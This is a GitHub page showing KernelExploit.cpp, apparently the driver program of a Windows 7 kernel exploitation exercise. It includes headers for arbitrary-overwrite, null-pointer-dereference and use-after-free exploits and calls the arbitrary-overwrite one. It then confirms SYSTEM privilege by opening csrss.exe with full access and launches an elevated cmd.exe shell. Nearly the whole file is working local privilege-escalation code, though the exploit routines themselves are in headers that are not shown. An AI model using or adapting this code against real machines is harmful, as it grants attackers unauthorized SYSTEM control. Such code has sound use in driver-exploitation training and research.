-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathKernelExploit.cpp
More file actions
111 lines (90 loc) · 1.87 KB
/
Copy pathKernelExploit.cpp
File metadata and controls
111 lines (90 loc) · 1.87 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include "KernelExploit.h"
#include "Common.h"
#include "ArbitraryOverwrite.h"
#include "NullPointerDereference.h"
#include "UseAfterFree.h"
BOOLEAN
IsSystemPrivilege(
_In_ PWCHAR pwchTargetProcessName
)
{
BOOLEAN bRetValue = FALSE;
ULONG ulProcessId = 0;
HANDLE hProcessSnapshot = NULL;
PROCESSENTRY32 ProcessEntry32 = { 0, };
HANDLE hProcess = NULL;
ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);
hProcessSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!hProcessSnapshot)
{
goto _RET;
}
if (!Process32First(hProcessSnapshot, &ProcessEntry32))
{
goto _RET;
}
do
{
if (0 == wcscmp(pwchTargetProcessName, ProcessEntry32.szExeFile))
{
ulProcessId = ProcessEntry32.th32ProcessID;
break;
}
} while (Process32Next(hProcessSnapshot, &ProcessEntry32));
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ulProcessId);
if (!hProcess)
{
goto _RET;
}
bRetValue = TRUE;
_RET:
if (NULL != hProcess)
{
CloseHandle(hProcess);
}
if (NULL != hProcessSnapshot)
{
CloseHandle(hProcessSnapshot);
}
return bRetValue;
}
int main(void)
{
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcessInformation = { 0, };
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
//NullPointerDereferenceExploitForWin7();
//UseAfterFreeWin7();
ArbitaryOverWriteExploitForWin7();
if (!IsSystemPrivilege(L"csrss.exe"))
{
goto _RET;
}
StartupInfo.cb = sizeof(STARTUPINFO);
if (!CreateProcess(
L"C:\\Windows\\System32\\cmd.exe",
L"/T:17",
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartupInfo,
&ProcessInformation
))
{
goto _RET;
}
WaitForSingleObject(ProcessInformation.hProcess, INFINITE);
_RET:
if (NULL != ProcessInformation.hThread)
{
CloseHandle(ProcessInformation.hThread);
}
if (NULL != ProcessInformation.hProcess)
{
CloseHandle(ProcessInformation.hProcess);
}
return 0;
}